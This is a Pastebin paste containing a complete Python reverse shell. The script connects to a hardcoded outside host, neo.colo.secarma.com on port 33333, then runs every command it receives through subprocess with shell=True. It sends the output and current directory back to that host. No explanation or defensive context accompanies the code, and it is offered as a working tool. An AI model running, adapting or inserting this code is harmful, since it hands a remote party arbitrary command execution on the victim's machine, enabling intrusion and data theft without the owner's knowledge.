Advertisement
Guest User

Untitled

a guest
Aug 20th, 2019
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. import os
  2. import socket
  3. import subprocess
  4.  
  5.  
  6. # Create a socket
  7. def socket_create():
  8. try:
  9. global host
  10. global port
  11. global s
  12. host = 'neo.colo.secarma.com'
  13. port = 33333
  14. s = socket.socket()
  15. except socket.error as msg:
  16. print("Socket creation error: " + str(msg))
  17.  
  18.  
  19. # Connect to a remote socket
  20. def socket_connect():
  21. try:
  22. global host
  23. global port
  24. global s
  25. s.connect((host, port))
  26. except socket.error as msg:
  27. print("Socket connection error: " + str(msg))
  28.  
  29.  
  30. # Receive commands from remote server and run on local machine
  31. def receive_commands():
  32. global s
  33. while True:
  34. data = s.recv(1024)
  35. if data[:2].decode("utf-8") == 'cd':
  36. os.chdir(data[3:].decode("utf-8"))
  37. if len(data) > 0:
  38. cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  39. output_bytes = cmd.stdout.read() + cmd.stderr.read()
  40. output_str = str(output_bytes, "utf-8")
  41. s.send(str.encode(output_str + str(os.getcwd()) + '> '))
  42. print(output_str)
  43. s.close()
  44.  
  45.  
  46. def main():
  47. socket_create()
  48. socket_connect()
  49. receive_commands()
  50.  
  51.  
  52. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement